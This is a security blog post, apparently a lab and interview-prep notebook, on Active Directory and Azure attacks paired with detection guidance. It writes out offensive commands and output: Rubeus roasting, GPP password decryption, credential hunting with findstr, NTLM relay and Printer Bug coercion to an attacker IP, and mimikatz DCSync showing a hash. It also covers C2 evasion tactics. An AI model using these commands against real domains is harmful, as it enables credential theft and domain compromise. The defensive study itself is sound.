File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All notesExhibit M · Filed 10 Oct 2026 · Active Directory · 20 min read

Active Directory and Azure: an attack and defense notebook

Filed

On-prem AD, Entra ID, and the C2 plumbing behind it, from both sides


Exhibit M — cover
Everything here comes from lab work and reading. I put this together from two places: a stretch of Active Directory purple teaming I did in an isolated playground domain, and the handwritten notes I made while studying for a Windows and C2 technical interview with Synacktiv. None of it was run against anything I don't own. I'm writing it down because the attacks only really stick once you can also explain how a defender would see them, and because future me will want this in one place.
I kept going back and forth between two sets of notes. One was a tidy writeup of AD attacks with the detection side bolted on, the kind of thing you build in a lab where you own the domain controller and can watch the event log light up. The other was a stack of scribbled pages, half in French, that I filled in before an interview that was going to cover Windows internals, relaying, Azure identity, and command and control. They cover the same world from slightly different heights, so I merged them. The order below roughly follows how an engagement tends to unfold. First you understand the terrain, then you pull credentials out of it, then you abuse trust relationships, then you take the domain, and finally you look at where all of this is drifting, which is the cloud. Before any of the attacks make sense, the structure has to. Active Directory Domain Services (AD DS) is Microsoft's directory service for Windows enterprise environments, and its whole job is to manage access to resources based on identity. A few words get used constantly:
  • A domain is a group of objects that share one AD database.
  • A tree is one or more domains that share a contiguous namespace.
  • A forest is the top-level container. It can hold more than one tree, and it's the real security boundary. A forest can contain several domains sitting under one top-level namespace.
  • Organizational Units (OUs) are the containers inside a domain that hold users, groups, computers, and other OUs. They exist mostly so admins can organize and delegate.
The hierarchy, from widest to narrowest, is forest, tree, domain, OU. Here it is as nested containers:
Active Directory containment: a forest holds two trees, each tree holds one or more domains, and each domain holds OUs. The forest is the security boundary; a child domain is not.
Two domains can live in a single forest (domain1.local and domain2.local), and a single tree can split into child domains that share a parent namespace (sales.domain1.local, finance.domain1.local). The domain controller (DC) is the Windows server that handles authentication and authorization for the domain. It holds a copy of the AD database in a file called ntds.dit, which lives under %SystemRoot%\NTDS. That file is the crown jewel. If you can read it, you have every hash in the domain. One thing that surprises people new to AD: a regular user with no special privileges can already enumerate most of the domain. Users, computers, groups, the password policy, the GPOs, the trusts, the ACLs. It's all readable by design, because the directory has to be queryable for anything to work. That open-by-default posture is exactly what makes early recon so productive for an attacker. A few ports show up again and again, so they're worth memorizing:
Text
53          DNS
88          Kerberos
135         WMI / RPC
137-139,445 SMB
389,636     LDAP / LDAPS
3389        RDP
5985,5986   WinRM (PowerShell Remoting)
And a few structural weaknesses are baked in:
  • Nested groups create hidden privilege chains. A normal user can end up in a group that's in a group that eventually grants Domain Admin, and nobody notices because the path is three hops deep.
  • SYSVOL over SMB has to stay reachable. Every machine pulls its policy from a share on the DC using SMB, so that door can't be closed, and valid credentials plus that open door is often enough to reach the DC.
  • Legacy protocols like NetBIOS and LLMNR are still on by default for backward compatibility. They broadcast name-resolution requests across the local network, and an attacker who's just listening can catch usernames and hashes without touching anything.
Most of the good attacks are really Kerberos attacks, so the protocol is worth a slow read. Kerberos is a trusted third party. The KDC (Key Distribution Center) runs on the DC and issues tickets. It has two halves: the Authentication Service (AS) and the Ticket Granting Service (TGS). The flow goes like this. You authenticate once and get a TGT (Ticket Granting Ticket), which proves to the DC who you are. Later, when you want to reach a specific service, you hand over your TGT and the TGS gives you a service ticket for that one service. The thing that makes the whole system trustable is the krbtgt account. It's the first account created in a domain, it's permanently disabled, and it can't be renamed or deleted. The KDC derives its signing key from krbtgt's password hash, and it uses that key to sign every ticket. You can't set krbtgt's password to a known value; AD overwrites it with a random one. That hash is the single most trusted secret in the domain, which is foreshadowing for the Golden Ticket later. One more term before the attacks: the SPN (Service Principal Name). It's a unique string that maps a running service to the account running it, in the form ServiceClass/Host:Port/ServiceName. The service class is something like HTTP for web servers, MSSQLSvc for SQL, CIFS for file access, or HOST which covers RDP and shares. When you ask for a service ticket by SPN, the KDC looks up the account behind that SPN and encrypts the ticket with that account's hash. Every AD object carries a servicePrincipalName attribute. Keep that encryption detail in mind, because it's the entire basis of the next attack. If a service runs under a normal user account with an SPN, anyone in the domain can request a service ticket for it. That ticket is encrypted with the service account's password hash. So you request the ticket, take it offline, and try to crack it. If a candidate password decrypts the ticket cleanly, that's the service account's password. The attack lives or dies on how strong that password is, and on the encryption type, which is usually AES or the weaker RC4 (DES only shows up in ancient environments). With Rubeus it's one command:
Powershell
PS C:\Users\bob\Downloads> .\Rubeus.exe kerberoast /outfile:spn.txt
There are also gMSAs (Group Managed Service Accounts), which AD created to fix exactly this problem. Their passwords are long, random, and rotated automatically with no human in the loop, and they're bound to specific machines. The catch is that some applications still don't support them, so legacy service accounts with human-set passwords stick around. On the defensive side. Requesting a service ticket generates event ID 4769. The problem is that 4769 fires every single time anyone legitimately connects to a service, so the volume is enormous and you can't just alert on its presence. What you can do is look at the shape of the activity. Rubeus pulls a ticket for every account with an SPN, so if one user requests ten service tickets in a minute, that's worth a look. Group 4769 by the requesting user and by the source machine, and alert on the burst, not the event.
Windows security event 4769 showing a Kerberos service ticket request from bob at EAGLE.LOCAL for the Administrator service, coming from 172.16.18.25 and using RC4 encryption.
There's also the encryption angle. If your environment is fully on AES, then any RC4 ticket request (0x17) is anomalous and worth alerting on, since roasting tools lean on RC4. A honeypot account works nicely here. Make a user with an SPN that looks real (an IIS or SQL service account), give it some apparent privilege, an old password that's still genuinely strong, and no legitimate reason for anyone to request a ticket for it. Any service ticket request for that account is suspicious by definition. One caveat worth repeating to yourself: don't carpet the domain with traps. If every other account is obviously bait, a careful attacker will notice, and then your detection value drops to zero. Same idea as Kerberoasting, one step earlier in the flow. Kerberoasting abuses the TGS stage. AS-REProasting abuses the AS stage, where the user first gets a TGT. It targets accounts that have "do not require Kerberos pre-authentication" set. When pre-auth is off, you can ask for that user's AS-REP and get back a chunk encrypted with their password hash, which you then crack offline.
Powershell
PS C:\Users\bob\Downloads> .\Rubeus.exe asreproast /outfile:asrep.txt
Prevention is almost the whole story here: keep pre-authentication required, especially for accounts with weak passwords. There's rarely a good reason to disable it. Detection keys on event ID 4768 (a Kerberos authentication ticket was requested).
Windows security event 4768 showing a Kerberos authentication ticket requested by the user anni from 172.16.18.25.
Like 4768's cousin, this event is extremely common, since it fires for every Kerberos logon. Two fields make it useful. The pre-authentication type is 0 when a tool roasts an account with pre-auth disabled, and the ticket encryption type is typically weak RC4 (0x17), which is what Rubeus defaults to. You can also correlate the source address against where that user normally logs in from. Delegation is where Kerberos gets genuinely confusing, and it's where a lot of real-world domain takeovers come from, so I spent real time on this one. Delegation lets a service act on behalf of a user toward other services. Think of a web server that needs to reach a database as you, not as itself. There are three flavors.
  1. Unconstrained delegation. The service (a user account with an SPN, or a machine account) can impersonate a user toward any service. This is the dangerous one. When a user authenticates to a box with unconstrained delegation, their TGT gets cached on that box, and whoever controls the box can reuse it anywhere.
  2. Constrained delegation. The service can impersonate a user, but only toward a specific, whitelisted set of services. Narrower, safer.
  3. Resource-based constrained delegation (RBCD). The control flips. Instead of the delegation being defined on the service doing the impersonating, it's defined on the target resource. The target computer object carries an LDAP attribute, msDS-AllowedToActOnBehalfOfOtherIdentity, and whichever accounts are listed there are allowed to impersonate any user toward it. This matters because if you can write that attribute on a machine, you can grant yourself the right to impersonate an admin to it.
The extensions that make delegation work are the S4U (Service for User) family. S4U lets a service obtain a service ticket for a user who never authenticated to the KDC directly. Two pieces:
  • S4U2Self lets a service get a ticket in a user's name toward itself. It only produces a forwardable ticket when protocol transition is configured.
  • S4U2Proxy lets a service get a ticket in a user's name toward another service.
Chained together, those two are how a service turns "a user touched me" into "I can now act as that user elsewhere." The split between S4U2Self and S4U2Proxy:
The S4U Kerberos extensions. S4U2Self gets a ticket for a user toward the service itself (forwardable only with protocol transition); S4U2Proxy gets a ticket for a user toward another service.
SYSVOL is that domain-wide share on every DC that distributes logon scripts and Group Policy. Back in Windows Server 2008, Group Policy Preferences (GPP) let admins push credentials for scheduled tasks and the like, storing a username and an encrypted password straight into XML files under \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\. The problem is that Microsoft published the AES key used to encrypt those passwords. It's the same key for every AD environment on earth, and SYSVOL is readable by all authenticated users. So anyone in the domain can read the XML and decrypt the password.
The 32-byte AES key that Microsoft published for GPP password encryption, the same across all Active Directory environments.
PowerSploit's Get-GPPPassword automates the whole thing, walking the Policies folder, finding files with a cpassword property, and decrypting them:
Powershell
PS C:\Users\bob\Downloads> Import-Module .\Get-GPPPassword.ps1
PS C:\Users\bob\Downloads> Get-GPPPassword

UserName  : svc-iis
Password  : abcd@123
File      : \\EAGLE.LOCAL\SYSVOL\eagle.local\Policies\{...}\Machine\Preferences\Groups\Groups.xml
Cpassword : qRI/NPQtItGsMjwMkhF7ZDvK6n9KlOhBZ/XShO2IZ80
Microsoft patched this in 2014 (KB2962486) so new environments stop caching GPP passwords, but the patch doesn't clear credentials that were already there. Any domain built before 2014, or built sloppily after it, can still have live passwords sitting in SYSVOL. The fix is to actually go look and clean them out. Detection has two angles. If you turn on auditing for the XML file, reading it generates event ID 4663, and a dummy Groups.xml that no legitimate process should ever touch makes a clean tripwire. The other angle is watching for logons by the exposed account (events 4624, 4625, or 4768) from a machine where that account has no business logging in. This one is just messy human behavior, and it's everywhere in medium and large environments. People leave passwords in scripts and config files on shares. Step one is finding the shares. PowerView's Invoke-ShareFinder enumerates non-default shares the current user can read:
Powershell
PS C:\Users\bob\Downloads> Invoke-ShareFinder -domain eagle.local -ExcludeStandard -CheckShareAccess

\\WS001.eagle.local\Share       -
\\WS001.eagle.local\Users       -
\\Server01.eagle.local\dev$     -
Then you go spelunking. Automated tools like SauronEye exist, but living off the land with the built-in findstr works fine. /s recurses, /i ignores case, and /m prints only the matching filename, which you want in production because a single pass match can otherwise dump thousands of lines:
Powershell
PS ...\dev$> findstr /m /s /i "pass" *.ini
setup.ini
PS ...\dev$> findstr /m /s /i "pass" *.config
4\5\4\web.config
Good search terms are pass, pw, and the NetBIOS name of the domain. Good file types are .bat, .cmd, .ps1, .conf, .config, and .ini. Detection here is behavioral. Once a credential is found and used, a logon shows up (4624 / 4625 / 4768), and if you know where your accounts normally authenticate from, an odd source stands out. A privileged account not coming from a Privileged Access Workstation is a red flag. There's also a one-to-many tell: Invoke-ShareFinder touches every machine in the domain to list its shares, and a single workstation reaching out to hundreds of hosts at once is not normal. AD objects carry a lot of self-describing fields, and a user can read most of them, including Description and Info. The bad old habit was to drop a password into those fields on the assumption that you needed admin rights to read them. You don't. Every domain user can. A short PowerShell function sweeps for it:
Powershell
Get-ADUser -Filter * -Server $dc -Properties Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet |
    Where { $_.Description -like "*pass*" -or $_.Info -like "*pass*" } |
    Select SamAccountName,Enabled,Description,Info,PasswordLastSet | fl
This also makes a believable honeypot in a less mature environment: put a fake password in the Description of an enabled account with recent logons and an old password date. Because the credential is wrong, you'll mostly see failed logons, which show up as 4625, 4771 (failure code 0x18 for a bad password), or 4776 (0xC000006A for a bad password). Those three together are a decent signal that someone found and tried the planted credential. A GPO is the main configuration tool in AD, a container of settings linked to OUs that applies to the users and computers inside them. By default only Domain Admins can modify them, but organizations hand out edit rights all the time to make life easier for lower tiers. If you compromise an account that can edit a GPO, you can push a malicious startup script or scheduled task to every machine the GPO touches. Even a correctly locked-down GPO can be turned if the network share holding its scripts has weak NTFS permissions and you can swap a legitimate file for yours. There's no clever exploit to show, because the attack simply is the ability to edit the GPO. Prevention is to restrict who can modify each GPO to a tight group, lock down the shares that host policy files, and review GPO permissions regularly, ideally with an automated check that alerts on drift. Detection is actually easy here. With Directory Service Changes auditing on, modifying a GPO generates event ID 5136. If an account that has no business editing a GPO shows up in that event, raise the alarm. Relaying is one of those techniques that feels like cheating the first time you see it work. You don't crack anything. You get a machine to authenticate to you, then you pass that authentication straight through to a third party that trusts it. The classic shape: you coerce a victim server into authenticating to you, you receive that authentication (as the machine account, HOST$), and you transfer it to a domain controller that accepts it. If SMB signing isn't required on the target, the relayed session is valid.
NTLM relay flow: (1) the attacker coerces authentication from a victim server, (2) the victim authenticates to the attacker as its machine account HOST$, (3) the attacker relays that authentication to a domain controller. It works when SMB signing is not required.
The workhorse is ntlmrelayx:
Bash
ntlmrelayx.py -t <protocol>://<target>
One subtlety worth knowing for an interview: cross-protocol relay (say, coercing over one protocol and relaying into another) is rare, and when it isn't available it becomes a real blocker for a given chain. So part of planning a relay is checking which protocols you can actually relay between. Relaying isn't limited to NTLM. You can relay Kerberos too, and the payoff with unconstrained delegation is a machine's TGT. The requirements I wrote down were a MachineAccountQuota of at least 1 (so you can add a computer object) and a compromised service account. The steps, roughly:
  1. Add a DNS record that points at your machine.
  2. Add an SPN (for example CIFS/...) to the service account's SPN list.
  3. Start the krbrelayx listener with the service account's hash, so it can decrypt the TGS you're about to receive and extract the TGT inside it.
Then you coerce a DC, or another host in the domain, into authenticating, and you walk away with a TGT for that computer account. This works specifically because unconstrained delegation forwards the full TGT rather than a scoped ticket. The Printer Bug comes out of the Print Spooler service, the same service behind PrintNightmare, and it's enabled by default on Windows desktops and servers. Legitimately, a client registers with a print server for change notifications, and the server can call back to the client's machine. The abuse turns that callback into a coercion primitive. An attacker binds to the victim's spooler RPC interface and calls RpcRemoteFindFirstPrinterChangeNotificationEx with the pszLocalMachine parameter pointed at the attacker's host. The spooler, running as SYSTEM, dutifully opens a reverse connection back to that address and authenticates with the victim's machine account, preferring Kerberos (sending a ticket) and falling back to NTLM. There's no ACL check on the destination, and Microsoft considers it "by design," so the mitigation is to disable the spooler where you don't need it.
Bash
printerbug.py 'DOMAIN/lowpriv@DC1.domain.local' <attacker-ip>
Impact concentrates on domain controllers, because a DC's machine account (DC$) carries heavy inherent rights, including replication. Once you've coerced that authentication, there are four well-known places to send it:
  1. Relay to another DC and DCSync. DCs trust each other's machine accounts for replication, so relaying DC1$ to DC2's LDAP lets you call the replication RPCs and dump hashes. Needs SMB signing disabled on the target.
  2. Force the DC to authenticate to a machine with unconstrained delegation, cache the forwarded TGT in LSASS, and export it with Rubeus or Mimikatz (sekurlsa::tickets /export).
  3. Relay to AD CS (ESC8). Relay the DC's auth to the Certificate Authority's HTTP enrollment endpoint, request a certificate as DC$, then use that cert for PKINIT to get a TGT. Stealthy, and it exploits web enrollment without channel binding.
  4. Relay to LDAP to configure RBCD. Write msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object you control, then use S4U to impersonate an admin to it.
DCSync is the payoff a lot of these chains lead to. It impersonates a domain controller and asks a real DC to replicate account data, which hands over password hashes. All it needs is an account (user or computer) with two rights: Replicating Directory Changes and Replicating Directory Changes All. With those, Mimikatz does the rest:
Text
mimikatz # lsadump::dcsync /domain:eagle.local /user:Administrator

SAM Username         : Administrator
Credentials:
  Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf
The whole difficulty of DCSync is enumeration, finding an account that holds those replication rights, because actually running it is trivial once you do. The Golden Ticket is the persistence endgame, and it circles back to krbtgt. Since the KDC signs every ticket with a key derived from krbtgt's password hash, anyone who holds that hash can forge valid TGTs for any user, including ones that don't exist, with any privileges they like. The domain trusts them completely because the signature checks out. It lets you cross from a child domain up to the parent in the same forest too, since the domain isn't a security boundary, only the forest is. It's not an entry technique; it's what you plant after you already have Domain Admin so you can come back. This is where the interview prep pulled me off-prem, and the first thing they wanted me to be clear on was the difference between two permission systems that people constantly conflate. Azure RBAC controls what a tenant's users can do to Azure resources. It applies down the Azure resource hierarchy: management group, then subscription, then resource group, then the individual resource:
The Azure RBAC scope hierarchy, narrowing from management group to subscription to resource group to resource, with roles inherited downward. Entra ID roles sit apart, governing directory objects rather than this hierarchy.
RBAC roles are things like Owner, Contributor, Reader, User Access Administrator, and scoped ones like VM Contributor or Security Reader. Worth noting: Contributor lets you manage resources but does not let you grant other users access, which is the lever that separates it from Owner and User Access Administrator. Entra ID roles, on the other hand, control access to the tenant's directory objects: Entra users, groups, service principals, and policies. These are roles like Global Administrator, Privileged Role Administrator, and Application Administrator. So the clean mental split is RBAC governs the resources, Entra roles govern the identity directory itself. A managed identity is a service principal that Azure creates and rotates for you automatically. It lets a resource authenticate to Entra ID and pull OAuth tokens without anyone storing a secret anywhere. That's a good defensive design (no password in a config file), and it's also exactly why it's interesting to an attacker who already has a foothold on the resource, since there's no secret to steal, just a token endpoint to ask. Two kinds:
  • System-assigned identities are tied to a single resource and die with it.
  • User-assigned identities are standalone and can be attached to several resources at once.
I went much deeper on the attack path side of this in my Fenrir writeup, so I'll leave the offensive detail there. If an organization runs hybrid identity, on-prem AD synced to Entra, the sync model matters, because it changes where passwords actually get validated.
  • PHS (Password Hash Synchronization). The on-prem NT hash is itself hashed again before syncing: a per-user salt plus a thousand iterations of HMAC-SHA256, and that final value is what lands in the tenant alongside the user. Authentication happens in the cloud.
  • PTA (Pass-Through Authentication). Passwords are validated on-prem through a lightweight agent, so the cloud never holds the credential material.
  • ADFS / federation. An on-prem federation server issues the SAML tokens, and the cloud trusts them.
The defensive question for the cloud side is simply where the evidence lives. The log sources I noted, roughly from identity outward:
  • Entra ID sign-in logs and audit logs.
  • Microsoft Graph activity logs.
  • Azure Activity logs for control-plane operations on resources.
  • Microsoft Defender logs, feeding into Sentinel as the SIEM that ties it all together.
The pattern mirrors on-prem: the raw events are high-volume and mostly benign, and the detection work is correlating identity, source, and sequence rather than alerting on any single line. The last chunk of the interview was about command and control infrastructure, which is the part that keeps an operation alive and quiet. A redirector is a server, often Nginx, that sits between the victim and the actual C2 team server. It hides the team server's real IP, filters inbound traffic, and only forwards requests that match the expected endpoint and the implant's User-Agent. Everything else gets dropped. The point is survivability: if the redirector burns, the team server behind it is untouched and you stand up a new redirector. Mythic is a modular, multi-agent C2 framework, and it's genuinely good for team operations and for profiling what an agent should look like on the wire. On the OPSEC side, the goal is to look like boring legitimate traffic:
  • Malleable C2 profiles shape the beacon's traffic to imitate normal web requests.
  • Jitter and sleep on the beacon break up the regular check-in rhythm that makes automated detection easy.
  • Encryption on the C2 channel.
  • Domain fronting to blend the real destination behind a trusted front.
  • Chaining redirectors so no single hop exposes the team server.
  • Avoiding the default IOCs that ship with tools, since out-of-the-box profiles and certificates are exactly what signatures look for.
Writing it all down in one place made the throughline obvious. Almost every on-prem technique here is really about one of two things, a credential that was left somewhere readable, or a trust relationship that forwards more than it should. The cloud rebuilds the same ideas with different names: managed identities instead of service account passwords, RBAC and Entra roles instead of ACLs and group nesting, Sentinel instead of the Windows event log. The attacks rhyme, and so do the detections, which is the part I actually care about getting good at.
§ — Also in evidenceView all →

Other exhibits


Exhibit N · 16 Nov 2026 · Azure Security

Building Huginn: Detection Rules That Have to Prove Themselves Every Night

The full build story of Huginn, the defensive half of my Fenrir project. Why an untested detection rule is only a guess, how I turned Microsoft Sentinel rules into code with tests, the Terraform stacks and GitHub Actions workflows that hold it together, the reasoning behind each design decision, and the bugs that only a real lab could find.

Filed
Exhibit L · 04 Sept 2026

SQL Injection

PortSwigger Web Security Academy notes on detecting and exploiting SQL injection, from UNION attacks to blind and out-of-band techniques

Filed
Exhibit K · 18 Aug 2026 · Azure Security

Modeling Managed-Identity Privilege Escalation as an Attack Graph

A framework for treating Azure managed-identity abuse in hybrid Entra ID environments as a graph-reachability problem. I define the node and edge types, ground each edge in Azure RBAC semantics, show how my tool Fenrir uses the model to answer one question conservatively, and work through a case study in my own lab. Framework and systematization, not an empirical study.

Filed
§ Contents